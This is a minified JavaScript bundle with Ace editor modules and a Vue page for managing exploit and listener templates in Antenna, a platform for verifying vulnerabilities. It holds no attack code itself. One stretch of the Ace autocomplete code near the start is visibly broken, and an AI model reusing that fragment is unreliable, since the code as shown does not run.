h=function(e,t){this.all=e,this.filtered=e,this.filterText=t||"",this.exactMatch=!1};(function(){this.setFilter=function(e){if(e.length>this.filterText&&0===e.lastIndexOf(this.filterText,0))var t=this.filtered;else t=this.all;this.filterText=e,t=this.filterCompletions(t,this.filterText),t=t.sort((function(e,t){return t.exactMatch-e.exactMatch||t.score-e.score}));var i=null;t=t.filter((function(e){var t=e.snippet||e.caption||e.value;return t!==i&&(i=t,!0)})),this.filtered=t},this.filterCompletions=function(e,t){var i=[],n=t.toUpperCase(),s=t.toLowerCase();e:for(var o,r=0;o=e[r];r++){var a=o.value||o.caption||o.snippet;if(a){var l,c,h=-1,u=0,d=0;if(this.exactMatch){if(t!==a.substr(0,t.length))continue e}else for(var g=0;g=0&&(p<0||f0&&(-1===h&&(d+=10),d+=c),u|=1<",r.escapeHTML(e.caption),"","
",r.escapeHTML(e.snippet)].join(""))}},u=[h,l,c];t.setCompleters=function(e){u.length=0,e&&u.push.apply(u,e)},t.addCompleter=function(e){u.push(e)},t.textCompleter=l,t.keyWordCompleter=c,t.snippetCompleter=h;var d={name:"expandSnippet",exec:function(e){return n.expandWithTab(e)},bindKey:"Tab"},g=function(e,t){f(t.session.$mode)},f=function(e){var t=e.$id;n.files||(n.files={}),p(t),e.modes&&e.modes.forEach(f)},p=function(e){if(e&&!n.files[e]){var t=e.replace("mode","snippets");n.files[e]={},o.loadModule(t,(function(t){t&&(n.files[e]=t,!t.snippets&&t.snippetText&&(t.snippets=n.parseSnippetFile(t.snippetText)),n.register(t.snippets||[],t.scope),t.includeScopes&&(n.snippetMap[t.scope].includeScopes=t.includeScopes,t.includeScopes.forEach((function(e){p("ace/mode/"+e)}))))}))}},m=function(e){var t=e.editor,i=t.completer&&t.completer.activated;if("backspace"===e.command.name)i&&!a.getCompletionPrefix(t)&&t.completer.detach();else if("insertstring"===e.command.name){var n=a.getCompletionPrefix(t);n&&!i&&(t.completer||(t.completer=new s),t.completer.autoInsert=!1,t.completer.showPopup(t))}},A=e("../editor").Editor;e("../config").defineOptions(A.prototype,"editor",{enableBasicAutocompletion:{set:function(e){e?(this.completers||(this.completers=Array.isArray(e)?e:u),this.commands.addCommand(s.startCommand)):this.commands.removeCommand(s.startCommand)},value:!1},enableLiveAutocompletion:{set:function(e){e?(this.completers||(this.completers=Array.isArray(e)?e:u),this.commands.on("afterExec",m)):this.commands.removeListener("afterExec",m)},value:!1},enableSnippets:{set:function(e){e?(this.commands.addCommand(d),this.on("changeMode",g),g(null,this)):(this.commands.removeCommand(d),this.off("changeMode",g))},value:!1}})})),function(){ace.acequire(["ace/ext/language_tools"],(function(){}))}()},"7c9e":function(e,t,i){var n=i("061c");e.exports={render:function(e){var t=this.height?this.px(this.height):"100%",i=this.width?this.px(this.width):"100%";return e("div",{attrs:{style:"height: "+t+"; width: "+i}})},props:{value:String,lang:!0,theme:String,height:!0,width:!0,options:Object},data:function(){return{editor:null,contentBackup:""}},methods:{px:function(e){return/^\d*$/.test(e)?e+"px":e}},watch:{value:function(e){this.contentBackup!==e&&(this.editor.session.setValue(e,1),this.contentBackup=e)},theme:function(e){this.editor.setTheme("ace/theme/"+e)},lang:function(e){this.editor.getSession().setMode("string"===typeof e?"ace/mode/"+e:e)},options:function(e){this.editor.setOptions(e)},height:function(){this.$nextTick((function(){this.editor.resize()}))},width:function(){this.$nextTick((function(){this.editor.resize()}))}},beforeDestroy:function(){this.editor.destroy(),this.editor.container.remove()},mounted:function(){var e=this,t=this.lang||"text",s=this.theme||"chrome";i("b378");var o=e.editor=n.edit(this.$el);o.$blockScrolling=1/0,this.$emit("init",o),o.getSession().setMode("string"===typeof t?"ace/mode/"+t:t),o.setTheme("ace/theme/"+s),this.value&&o.setValue(this.value,1),this.contentBackup=this.value,o.on("change",(function(){var t=o.getValue();e.$emit("input",t),e.contentBackup=t})),e.options&&o.setOptions(e.options)}}},8882:function(e,t){ace.define("ace/mode/python_highlight_rules",["require","exports","module","ace/lib/oop","ace/mode/text_highlight_rules"],(function(e,t,i){"use strict";var n=e("../lib/oop"),s=e("./text_highlight_rules").TextHighlightRules,o=function(){var e="and|as|assert|break|class|continue|def|del|elif|else|except|exec|finally|for|from|global|if|import|in|is|lambda|not|or|pass|print|raise|return|try|while|with|yield|async|await",t="True|False|None|NotImplemented|Ellipsis|__debug__",i="abs|divmod|input|open|staticmethod|all|enumerate|int|ord|str|any|eval|isinstance|pow|sum|basestring|execfile|issubclass|print|super|binfile|iter|property|tuple|bool|filter|len|range|type|bytearray|float|list|raw_input|unichr|callable|format|locals|reduce|unicode|chr|frozenset|long|reload|vars|classmethod|getattr|map|repr|xrange|cmp|globals|max|reversed|zip|compile|hasattr|memoryview|round|__import__|complex|hash|min|set|apply|delattr|help|next|setattr|buffer|dict|hex|object|slice|coerce|dir|id|oct|sorted|intern",n=this.createKeywordMapper({"invalid.deprecated":"debugger","support.function":i,"constant.language":t,keyword:e},"identifier"),s="(?:r|u|ur|R|U|UR|Ur|uR)?",o="(?:(?:[1-9]\\d*)|(?:0))",r="(?:0[oO]?[0-7]+)",a="(?:0[xX][\\dA-Fa-f]+)",l="(?:0[bB][01]+)",c="(?:"+o+"|"+r+"|"+a+"|"+l+")",h="(?:[eE][+-]?\\d+)",u="(?:\\.\\d+)",d="(?:\\d+)",g="(?:(?:"+d+"?"+u+")|(?:"+d+"\\.))",f="(?:(?:"+g+"|"+d+")"+h+")",p="(?:"+f+"|"+g+")",m="\\\\(x[0-9A-Fa-f]{2}|[0-7]{3}|[\\\\abfnrtv'\"]|U[0-9A-Fa-f]{8}|u[0-9A-Fa-f]{4})";this.$rules={start:[{token:"comment",regex:"#.*$"},{token:"string",regex:s+'"{3}',next:"qqstring3"},{token:"string",regex:s+'"(?=.)',next:"qqstring"},{token:"string",regex:s+"'{3}",next:"qstring3"},{token:"string",regex:s+"'(?=.)",next:"qstring"},{token:"constant.numeric",regex:"(?:"+p+"|\\d+)[jJ]\\b"},{token:"constant.numeric",regex:p},{token:"constant.numeric",regex:c+"[lL]\\b"},{token:"constant.numeric",regex:c+"\\b"},{token:n,regex:"[a-zA-Z_$][a-zA-Z0-9_$]*\\b"},{token:"keyword.operator",regex:"\\+|\\-|\\*|\\*\\*|\\/|\\/\\/|%|<<|>>|&|\\||\\^|~|<|>|<=|=>|==|!=|<>|="},{token:"paren.lparen",regex:"[\\[\\(\\{]"},{token:"paren.rparen",regex:"[\\]\\)\\}]"},{token:"text",regex:"\\s+"}],qqstring3:[{token:"constant.language.escape",regex:m},{token:"string",regex:'"{3}',next:"start"},{defaultToken:"string"}],qstring3:[{token:"constant.language.escape",regex:m},{token:"string",regex:"'{3}",next:"start"},{defaultToken:"string"}],qqstring:[{token:"constant.language.escape",regex:m},{token:"string",regex:"\\\\$",next:"qqstring"},{token:"string",regex:'"|$',next:"start"},{defaultToken:"string"}],qstring:[{token:"constant.language.escape",regex:m},{token:"string",regex:"\\\\$",next:"qstring"},{token:"string",regex:"'|$",next:"start"},{defaultToken:"string"}]}};n.inherits(o,s),t.PythonHighlightRules=o})),ace.define("ace/mode/folding/pythonic",["require","exports","module","ace/lib/oop","ace/mode/folding/fold_mode"],(function(e,t,i){"use strict";var n=e("../../lib/oop"),s=e("./fold_mode").FoldMode,o=t.FoldMode=function(e){this.foldingStartMarker=new RegExp("([\\[{])(?:\\s*)$|("+e+")(?:\\s*)(?:#.*)?$")};n.inherits(o,s),function(){this.getFoldWidgetRange=function(e,t,i){var n=e.getLine(i),s=n.match(this.foldingStartMarker);if(s)return s[1]?this.openingBracketBlock(e,s[1],i,s.index):s[2]?this.indentationBlock(e,i,s.index+s[2].length):this.indentationBlock(e,i)}}.call(o.prototype)})),ace.define("ace/mode/python",["require","exports","module","ace/lib/oop","ace/mode/text","ace/mode/python_highlight_rules","ace/mode/folding/pythonic","ace/range"],(function(e,t,i){"use strict";var n=e("../lib/oop"),s=e("./text").Mode,o=e("./python_highlight_rules").PythonHighlightRules,r=e("./folding/pythonic").FoldMode,a=e("../range").Range,l=function(){this.HighlightRules=o,this.foldingRules=new r("\\:"),this.$behaviour=this.$defaultBehaviour};n.inherits(l,s),function(){this.lineCommentStart="#",this.getNextLineIndent=function(e,t,i){var n=this.$getIndent(t),s=this.getTokenizer().getLineTokens(t,e),o=s.tokens;if(o.length&&"comment"==o[o.length-1].type)return n;if("start"==e){var r=t.match(/^.*[\{\(\[:]\s*$/);r&&(n+=i)}return n};var e={pass:1,return:1,raise:1,break:1,continue:1};this.checkOutdent=function(t,i,n){if("\r\n"!==n&&"\r"!==n&&"\n"!==n)return!1;var s=this.getTokenizer().getLineTokens(i.trim(),t).tokens;if(!s)return!1;do{var o=s.pop()}while(o&&("comment"==o.type||"text"==o.type&&o.value.match(/^\s+$/)));return!!o&&("keyword"==o.type&&e[o.value])},this.autoOutdent=function(e,t,i){i+=1;var n=this.$getIndent(t.getLine(i)),s=t.getTabString();n.slice(-s.length)==s&&t.remove(new a(i,n.length-s.length,i,n.length))},this.$id="ace/mode/python"}.call(l.prototype),t.Mode=l}))},"8a9d":function(e,t,i){"use strict";i("b330")},"95b8":function(e,t){ace.define("ace/theme/chrome",["require","exports","module","ace/lib/dom"],(function(e,t,i){t.isDark=!1,t.cssClass="ace-chrome",t.cssText='.ace-chrome .ace_gutter {background: #ebebeb;color: #333;overflow : hidden;}.ace-chrome .ace_print-margin {width: 1px;background: #e8e8e8;}.ace-chrome {background-color: #FFFFFF;color: black;}.ace-chrome .ace_cursor {color: black;}.ace-chrome .ace_invisible {color: rgb(191, 191, 191);}.ace-chrome .ace_constant.ace_buildin {color: rgb(88, 72, 246);}.ace-chrome .ace_constant.ace_language {color: rgb(88, 92, 246);}.ace-chrome .ace_constant.ace_library {color: rgb(6, 150, 14);}.ace-chrome .ace_invalid {background-color: rgb(153, 0, 0);color: white;}.ace-chrome .ace_fold {}.ace-chrome .ace_support.ace_function {color: rgb(60, 76, 114);}.ace-chrome .ace_support.ace_constant {color: rgb(6, 150, 14);}.ace-chrome .ace_support.ace_type,.ace-chrome .ace_support.ace_class.ace-chrome .ace_support.ace_other {color: rgb(109, 121, 222);}.ace-chrome .ace_variable.ace_parameter {font-style:italic;color:#FD971F;}.ace-chrome .ace_keyword.ace_operator {color: rgb(104, 118, 135);}.ace-chrome .ace_comment {color: #236e24;}.ace-chrome .ace_comment.ace_doc {color: #236e24;}.ace-chrome .ace_comment.ace_doc.ace_tag {color: #236e24;}.ace-chrome .ace_constant.ace_numeric {color: rgb(0, 0, 205);}.ace-chrome .ace_variable {color: rgb(49, 132, 149);}.ace-chrome .ace_xml-pe {color: rgb(104, 104, 91);}.ace-chrome .ace_entity.ace_name.ace_function {color: #0000A2;}.ace-chrome .ace_heading {color: rgb(12, 7, 255);}.ace-chrome .ace_list {color:rgb(185, 6, 144);}.ace-chrome .ace_marker-layer .ace_selection {background: rgb(181, 213, 255);}.ace-chrome .ace_marker-layer .ace_step {background: rgb(252, 255, 0);}.ace-chrome .ace_marker-layer .ace_stack {background: rgb(164, 229, 101);}.ace-chrome .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgb(192, 192, 192);}.ace-chrome .ace_marker-layer .ace_active-line {background: rgba(0, 0, 0, 0.07);}.ace-chrome .ace_gutter-active-line {background-color : #dcdcdc;}.ace-chrome .ace_marker-layer .ace_selected-word {background: rgb(250, 250, 255);border: 1px solid rgb(200, 200, 250);}.ace-chrome .ace_storage,.ace-chrome .ace_keyword,.ace-chrome .ace_meta.ace_tag {color: rgb(147, 15, 128);}.ace-chrome .ace_string.ace_regex {color: rgb(255, 0, 0)}.ace-chrome .ace_string {color: #1A1AA6;}.ace-chrome .ace_entity.ace_other.ace_attribute-name {color: #994409;}.ace-chrome .ace_indent-guide {background: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==") right repeat-y;}';var n=e("../lib/dom");n.importCssString(t.cssText,t.cssClass)}))},a749:function(e,t,i){"use strict";i.r(t);var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i("div",["components"===e.$route.name?i("div",[i("div",{staticClass:"div_card"},[i("div",{staticClass:"title clearfix"},[i("div",{staticClass:"left"},[e._v(" 组件管理 "),i("a-tooltip",{attrs:{title:"组件管理的额外说明"}},[i("a-icon",{attrs:{type:"question-circle"}})],1)],1),i("div",{staticClass:"right"},[e._v(" 组件加载 "),i("a-button",{attrs:{shape:"circle",icon:"sync",size:"small"},on:{click:e.addComponet}})],1)]),i("div",{staticClass:"content"},[i("a-divider"),i("p",[e._v(" 模板是漏洞辅助验证平台的核心模块,您可以选择列表中的模板进行验证服务的构建。如果您需要新增其他模板,请按照以下的流程进行操作。 ")]),i("a-row",[i("a-col",{staticClass:"wb-m-t-10 wb-m-b-16",attrs:{span:18,offset:3}},[i("a-steps",{attrs:{size:"small"}},[i("a-step",{attrs:{title:"查看模板"}}),i("a-step",{attrs:{title:"提交模板代码",status:"process"}}),i("a-step",{attrs:{title:"官方审核完成合并代码",status:"process"}})],1)],1)],1)],1)]),i("AppPage",{ref:"child"})],1):i("router-view")],1)},s=[],o=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i("div",{staticClass:"app-list"},[i("a-list",{staticClass:"card-list",attrs:{grid:{gutter:24,lg:3,md:2,sm:1,xs:1},dataSource:e.dataSource},scopedSlots:e._u([{key:"renderItem",fn:function(t){return i("a-list-item",{},["new"==t.id?[i("a-button",{staticClass:"new-btn",attrs:{type:"dashed"},on:{click:e.showModal}},[i("div",{staticStyle:{"font-size":"90px"}},[e._v("+")])])]:[i("a-card",{attrs:{hoverable:!0}},[i("a-card-meta",[i("div",{attrs:{slot:"title"},slot:"title"},[e._v(" "+e._s(t.title)+" "),0===t.type?i("a-tag",{attrs:{color:"#108ee9"}},[e._v("利用组件")]):i("a-tag",{attrs:{color:"#f2ab24"}},[e._v("监听组件")])],1),i("a-avatar",{staticClass:"card-avatar",staticStyle:{backgroundcolor:"#87d068"},attrs:{slot:"avatar",icon:"fire"},slot:"avatar"}),i("div",{staticClass:"meta-content",attrs:{slot:"description"},slot:"description"},[e._v(e._s(t.desc?t.desc:"暂无介绍"))])],1),i("p",{staticClass:"Textright wb-m-b-1"},[e._v(e._s(t.author))]),i("template",{staticClass:"ant-card-actions",slot:"actions"},[i("a",{attrs:{href:"javascript:void(0)"},on:{click:function(i){return e.jump(t)}}},[e._v("使用文档")]),i("a",{attrs:{href:"javascript:void(0)"},on:{click:function(i){return e.editComponent(t)}}},[e._v("修改组件")]),i("a",{attrs:{href:"javascript:void(0)"},on:{click:function(i){return e.delete_template(t)}}},[e._v("删除组件")])])],2)]],2)}}])}),i("a-pagination",{staticClass:"Textright",attrs:{"page-size-options":e.pageSizeOptions,total:e.total,"show-size-changer":"","page-size":e.pageSize},on:{showSizeChange:e.onShowSizeChange,change:e.changePage},scopedSlots:e._u([{key:"buildOptionText",fn:function(t){return["50"!==t.value?i("span",[e._v(e._s(t.value)+"条/页")]):e._e(),"50"===t.value?i("span",[e._v("全部")]):e._e()]}}]),model:{value:e.current,callback:function(t){e.current=t},expression:"current"}}),e.visible?i("newConponets",{attrs:{visible:e.visible,titles:e.titles,content:e.content}}):e._e()],1)},r=[],a=(i("380f"),i("f64c")),l=i("0995"),c=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i("div",[i("a-modal",{attrs:{title:e.titles,visible:e.visible,maskClosable:!1,width:"1200px",footer:""},on:{cancel:e.init}},[i("section",{staticStyle:{display:"flex"}},[i("div",{staticStyle:{width:"600px"}},[i("a-form",{attrs:{form:e.form},on:{submit:e.handleSubmit}},[i("a-form-item",e._b({attrs:{label:"组件标题"}},"a-form-item",e.waiformItemLayout,!1),[i("a-input",{directives:[{name:"decorator",rawName:"v-decorator",value:["title",{rules:[{required:!0,message:"请输入组件标题,例如DNS协议监听组件"}]}],expression:"[\n 'title',\n { rules: [{ required: true, message: '请输入组件标题,例如DNS协议监听组件' }] },\n ]"}],staticStyle:{width:"80%"},attrs:{required:!0,placeholder:"请输入组件标题,例如DNS协议监听组件"}})],1),i("a-form-item",e._b({attrs:{label:"组件名称"}},"a-form-item",e.waiformItemLayout,!1),[i("a-input",{directives:[{name:"decorator",rawName:"v-decorator",value:["name",{rules:[{required:!0,message:"请输入组件名称,例如DNS"}]}],expression:"[\n 'name',\n { rules: [{ required: true, message: '请输入组件名称,例如DNS' }] },\n ]"}],staticStyle:{width:"80%"},attrs:{required:!0,placeholder:"请输入组件名称,例如DNS"}})],1),i("a-form-item",e._b({attrs:{label:"组件介绍"}},"a-form-item",e.waiformItemLayout,!1),[i("a-textarea",{directives:[{name:"decorator",rawName:"v-decorator",value:["desc",{rules:[{message:"请输入组件介绍"}]}],expression:"['desc', { rules: [{ message: '请输入组件介绍' }] }]"}],staticStyle:{width:"80%"},attrs:{placeholder:"一段简短的组件介绍"}})],1),i("a-form-item",e._b({attrs:{label:"生成链接格式"}},"a-form-item",e.waiformItemLayout,!1),[i("a-select",{directives:[{name:"decorator",rawName:"v-decorator",value:["payload_list",{rules:[{required:!0,message:"请输入生成链接格式"}]}],expression:"[\n 'payload_list',\n { rules: [{ required: true, message: '请输入生成链接格式' }] },\n ]"}],staticStyle:{width:"80%"},attrs:{required:!0,mode:"tags",placeholder:"使用http协议为http://{domain}/{key}"}})],1),i("a-form-item",e._b({attrs:{label:"配置信息",required:!0}},"a-form-item",e.waiformItemLayout,!1),[e._l(e.waiArray,(function(t,n){return i("div",{key:n,staticClass:"alertContain"},[1!==e.waiArray.length?i("a-icon",{staticClass:"closeIcon",attrs:{type:"close"},on:{click:function(t){return e.cloneContainer(n)}}}):e._e(),i("a-form-item",e._b({attrs:{label:"配置名",required:!0}},"a-form-item",e.formItemLayout,!1),[i("a-input",{directives:[{name:"decorator",rawName:"v-decorator",value:["item_name-"+t,{rules:[{required:!0,message:"请输入配置名"}]}],expression:"[\n `item_name-${t}`,\n { rules: [{ required: true, message: '请输入配置名' }] },\n ]"}],staticStyle:{width:"80%"},attrs:{placeholder:"请输入配置名"}})],1),e._l(e.form.getFieldValue("keys")[t],(function(n,s){return i("a-form-item",e._b({key:n,attrs:{label:0===s?"参数名":"",required:!0}},"a-form-item",0===s?e.formItemLayout:e.formItemLayoutWithOutLabel,!1),[i("a-input",{directives:[{name:"decorator",rawName:"v-decorator",value:["config["+n+"-"+t+"]",{validateTrigger:["change","blur"],rules:[{required:!0,whitespace:!0,message:"请输入参数名"}]}],expression:"[\n `config[${k}-${t}]`,\n {\n validateTrigger: ['change', 'blur'],\n rules: [\n {\n required: true,\n whitespace: true,\n message: '请输入参数名',\n },\n ],\n },\n ]"}],staticStyle:{width:"80%"},attrs:{placeholder:"请输入参数名"}}),e.form.getFieldValue("keys")[t].length>1?i("a-icon",{staticClass:"dynamic-delete-button",staticStyle:{"margin-left":"5px","font-size":"20px"},attrs:{type:"minus-circle-o",disabled:1===e.form.getFieldValue("keys").length},on:{click:function(){return e.remove(t,n)}}}):e._e(),e.form.getFieldValue("keys")[t].length-1===s?i("a-icon",{staticClass:"dynamic-delete-button",staticStyle:{"margin-left":"5px","font-size":"20px"},attrs:{type:"plus-circle",disabled:1===e.form.getFieldValue("keys").length},on:{click:function(){return e.add(t)}}}):e._e()],1)}))],2)})),i("a-button",{staticStyle:{width:"60%"},attrs:{type:"dashed"},on:{click:e.addwai}},[i("a-icon",{attrs:{type:"plus"}}),e._v(" 添加配置信息 ")],1)],2),i("a-form-item",e._b({attrs:{label:"组件类型"}},"a-form-item",e.waiformItemLayout,!1),[i("a-radio-group",{directives:[{name:"decorator",rawName:"v-decorator",value:["type",{rules:[{required:!0,message:"请选择组件类型"}]}],expression:"['type', { rules: [{ required: true, message: '请选择组件类型' }] }]"}]},[i("a-radio",{attrs:{value:1}},[e._v("监听组件")]),i("a-radio",{attrs:{value:0}},[e._v("利用组件")])],1)],1),i("a-form-item",e._b({attrs:{label:"公开组件"}},"a-form-item",e.waiformItemLayout,!1),[i("a-radio-group",{directives:[{name:"decorator",rawName:"v-decorator",value:["is_private",{rules:[{required:!0,message:"请选择是否公开组件"}]}],expression:"[\n 'is_private',\n { rules: [{ required: true, message: '请选择是否公开组件' }] },\n ]"}]},[i("a-radio",{attrs:{value:1}},[e._v("是")]),i("a-radio",{attrs:{value:0}},[e._v("否")])],1)],1),i("a-form-item",e._b({attrs:{label:"配置支持多选"}},"a-form-item",e.waiformItemLayout,!1),[i("a-radio-group",{directives:[{name:"decorator",rawName:"v-decorator",value:["choice_type",{rules:[{required:!0,message:"请选择是否配置支持多选"}]}],expression:"[\n 'choice_type',\n { rules: [{ required: true, message: '请选择是否配置支持多选' }] },\n ]"}]},[i("a-radio",{attrs:{value:1}},[e._v("是")]),i("a-radio",{attrs:{value:0}},[e._v("否")])],1)],1),i("a-form-item",e._b({attrs:{label:"上传插件",required:!0}},"a-form-item",e.waiformItemLayout,!1),[i("a-upload",{directives:[{name:"decorator",rawName:"v-decorator",value:["file_name",{valuePropName:"fileList",getValueFromEvent:e.normFile},{rules:[{required:!0,message:"请上传文件"}]}],expression:"[\n 'file_name',\n {\n valuePropName: 'fileList',\n getValueFromEvent: normFile,\n },\n { rules: [{ required: true, message: '请上传文件' }] },\n ]"}],attrs:{name:"code",action:"/api/v1/templates/manage/upload_template/",withCredentials:!0,headers:e.headers,multiple:!1,accept:"text/x-python-script"},on:{change:e.fileChage}},[i("a-button",[i("a-icon",{attrs:{type:"upload"}}),e._v(" 点击上传 ")],1)],1)],1),i("a-form-item",{staticStyle:{position:"absolute",right:"10px",bottom:"-10px","z-index":"100"}},[i("a-button",{staticClass:"mgLeft10",on:{click:e.init}},[e._v("取消")]),i("a-button",{staticClass:"mgLeft10",attrs:{type:"primary","html-type":"submit"}},[e._v("确定")])],1)],1)],1),i("div",{staticClass:"edtorClass"},[i("a-icon",{directives:[{name:"show",rawName:"v-show",value:e.flag,expression:"flag"}],staticClass:"edtorIcon",attrs:{type:"lock",theme:"twoTone"},on:{click:function(t){return e.handleChange(1)}}}),i("a-icon",{directives:[{name:"show",rawName:"v-show",value:!e.flag,expression:"!flag"}],staticClass:"edtorIcon",attrs:{type:"unlock",theme:"twoTone"},on:{click:function(t){return e.handleChange(2)}}}),i("editor",{attrs:{options:{readOnly:e.flag},lang:"python",width:"600",height:"90%"},on:{init:e.initEditor},model:{value:e.code,callback:function(t){e.code=t},expression:"code"}})],1)])])],1)},h=[];let u=1,d=1;var g={name:"newComponents",props:{visible:!1,titles:"",content:""},components:{editor:i("7c9e")},data(){return{code:"",flag:!0,headers:{Authorization:"Token "+sessionStorage.getItem("token")},waiArray:[0],waiformItemLayout:{labelCol:{sm:{span:6}},wrapperCol:{sm:{span:18}}},formItemLayout:{labelCol:{sm:{span:5}},wrapperCol:{sm:{span:19}}},formItemLayoutWithOutLabel:{wrapperCol:{sm:{span:19,offset:5}}},layoutBottomWithOutLabel:{wrapperCol:{sm:{span:8,offset:16}}}}},created(){this.form=this.$form.createForm(this,{name:"dynamic_form_item"}),this.content?this.editConfig():this.form.getFieldDecorator("keys",{initialValue:[[0]],preserve:!0})},mounted(){},methods:{handleChange(e){this.flag=1!==e},fileChage(e){const t=e.file;"done"===t.status&&(this.code=t.response.data.code)},initEditor:function(e){i("8882"),i("95b8"),i("2099")},editConfig(){let e=[];this.waiArray=[],u=0,d=0,this.content.template_item_info.forEach(t=>{let i=[];this.form.getFieldDecorator("item_name-"+d,{initialValue:t.item_name}),t.config.forEach(e=>{this.form.getFieldDecorator(`config[${u}-${d}]`,{initialValue:e}),i.push(u++)}),e[d]=i,this.waiArray.push(d++)}),this.form.getFieldDecorator("is_private",{initialValue:this.content.is_private,preserve:!0}),this.form.getFieldDecorator("choice_type",{initialValue:this.content.choice_type,preserve:!0}),this.form.getFieldDecorator("desc",{initialValue:this.content.desc,preserve:!0}),this.form.getFieldDecorator("payload_list",{initialValue:this.content.payload_list,preserve:!0}),this.form.getFieldDecorator("title",{initialValue:this.content.title,preserve:!0}),this.form.getFieldDecorator("name",{initialValue:this.content.name,preserve:!0}),this.form.getFieldDecorator("keys",{initialValue:e,preserve:!0}),this.form.getFieldDecorator("type",{initialValue:this.content.type,preserve:!0}),this.code=this.content.code},addwai(){const{form:e}=this,t=e.getFieldValue("keys");t[d]=Array.of(u++);const i=t;e.setFieldsValue({keys:i}),this.waiArray.push(d++)},remove(e,t){const{form:i}=this,n=i.getFieldValue("keys");1!==n.length&&(n[e]=n[e].filter(e=>e!==t),i.setFieldsValue({keys:n}))},add(e){const{form:t}=this,i=t.getFieldValue("keys");i[e]=i[e].concat(u++);const n=i;t.setFieldsValue({keys:n})},cloneContainer(e){this.waiArray.splice(e,1)},configInfo(e){let t=[];Object.keys(e).forEach(i=>{if(i.includes("item_name")){let n=[];const s=e.config?e.config:[];Object.keys(s).forEach(t=>{i.split("-")[1]===t.split("-")[1]&&n.push(e.config[t])}),t.push({item_name:e[i],config:n}),delete e[i]}}),delete e.keys,e.template_item_info=t},callingInter(e){this.content?l["a"].update_template({...e,template_id:this.content.id,code:this.code}).then(e=>{this.init(),this.$parent.initData()}):l["a"].templatesManage({...e,code:this.code}).then(e=>{this.init(),this.$parent.initData()})},handleSubmit(e){e.preventDefault(),this.code?this.form.validateFields((e,t)=>{e||(this.configInfo(t),this.callingInter(t))}):this.$message.warn("上传组件不能为空")},init(){this.$parent.content="",this.form.resetFields(),u=1,d=1,this.$parent.visible=!1},normFile(e){return Array.isArray(e)?e:e&&2==e.fileList.length?[e.fileList[1]]:[e.fileList[0]]}}},f=g,p=(i("f3cd"),i("2877")),m=Object(p["a"])(f,c,h,!1,null,"274f3a61",null),A=m.exports,v={name:"Article",components:{newConponets:A},data(){return{dataSource:[],pageSizeOptions:["10","20","30","40","50"],current:1,pageSize:10,total:50,visible:!1,titles:"新增组件",content:""}},created(){this.initData()},methods:{showModal(){this.titles="新增组件",this.visible=!0},editComponent(e){l["a"].template_info({template:e.id}).then(t=>{1===t.code?(this.visible=!0,this.titles="编辑组件",this.content={...e,...t.data}):a["a"].error(t.message)})},delete_template(e){l["a"].delete_template({template_id:e.id}).then(e=>{1===e.code?(this.initData(),this.$message.success("删除成功")):a["a"].error(e.message)})},jump(e){window.open("https://github.com/wuba/Antenna#readme","_blank")},initData(e={}){let t={page_size:this.pageSize,page:this.current,...e};l["a"].getTemplatesManage(t).then(e=>{if(1===e.code){let{data:t}=e;this.total=t.count,t.results.unshift({id:"new"}),this.dataSource=t.results}else this.$message.error(e.message)})},onShowSizeChange(e,t){this.pageSize=t,this.initData()},changePage(e,t){let i={page_size:t,page:e};this.initData(i)}}},C=v,w=(i("8a9d"),Object(p["a"])(C,o,r,!1,null,"3c071100",null)),F=w.exports,b=i("c24c"),E=i.n(b),y={components:{AppPage:F},data(){return{}},created(){},mounted(){this.newNav()},methods:{newNav(){let e=sessionStorage.getItem("firstLogin"),t=!0;if("true"==e){const e=new E.a({animate:!1,nextBtnText:"下一步",allowClose:!1,onDeselected:()=>{t&&sessionStorage.setItem("firstLogin","false"),t=!0}});e.defineSteps([{element:document.getElementsByClassName("ant-menu-item")[2],popover:{title:"组件管理",description:"通过新建和编辑组件补充平台支持的能力",position:"right"},showButtons:!0,closeBtnText:"跳出",onNext:()=>{t=!1,this.$router.push({path:"/message"})}},{element:document.getElementsByClassName("ant-menu-item")[3],popover:{title:"消息管理",description:"可以获取所有的组件链接的请求信息",position:"right"},showButtons:!0,closeBtnText:"跳出",onNext:()=>{t=!1,this.$router.push({path:"/open"})}},{element:document.getElementsByClassName("ant-menu-item")[4],popover:{title:"OpenAPI",description:"获取Antenna系统通过api调用的接口",position:"right"},showButtons:!0,doneBtnText:"下一步",closeBtnText:"跳出",onNext:()=>{t=!1}},{element:document.getElementsByClassName("ant-dropdown-link")[0],popover:{title:"个人账户",description:"修改密码、退出系统",position:"left"},showButtons:!0,doneBtnText:"完成",closeBtnText:"跳出",onNext:()=>{}}]),e.start()}},addComponet(){l["a"].initial_template().then(e=>{1==e.code&&(this.$refs.child.initData(),this.$message("组件加载成功"))})}}},$=y,S=Object(p["a"])($,n,s,!1,null,"697212eb",null);t["default"]=S.exports},b330:function(e,t,i){},b378:function(e,t){ace.define("ace/snippets",["require","exports","module","ace/lib/oop","ace/lib/event_emitter","ace/lib/lang","ace/range","ace/anchor","ace/keyboard/hash_handler","ace/tokenizer","ace/lib/dom","ace/editor"],(function(e,t,i){"use strict";var n=e("./lib/oop"),s=e("./lib/event_emitter").EventEmitter,o=e("./lib/lang"),r=e("./range").Range,a=e("./anchor").Anchor,l=e("./keyboard/hash_handler").HashHandler,c=e("./tokenizer").Tokenizer,h=r.comparePoints,u=function(){this.snippetMap={},this.snippetNameMap={}};(function(){n.implement(this,s),this.getTokenizer=function(){function e(e,t,i){return e=e.substr(1),/^\d+$/.test(e)&&!i.inFormatString?[{tabstopId:parseInt(e,10)}]:[{text:e}]}function t(e){return"(?:[^\\\\"+e+"]|\\\\.)"}return u.$tokenizer=new c({start:[{regex:/:/,onMatch:function(e,t,i){return i.length&&i[0].expectIf?(i[0].expectIf=!1,i[0].elseBranch=i[0],[i[0]]):":"}},{regex:/\\./,onMatch:function(e,t,i){var n=e[1];return"}"==n&&i.length||-1!="`$\\".indexOf(n)?e=n:i.inFormatString&&("n"==n||"t"==n?e="\n":-1!="ulULE".indexOf(n)&&(e={changeCase:n,local:n>"a"})),[e]}},{regex:/}/,onMatch:function(e,t,i){return[i.length?i.shift():e]}},{regex:/\$(?:\d+|\w+)/,onMatch:e},{regex:/\$\{[\dA-Z_a-z]+/,onMatch:function(t,i,n){var s=e(t.substr(1),i,n);return 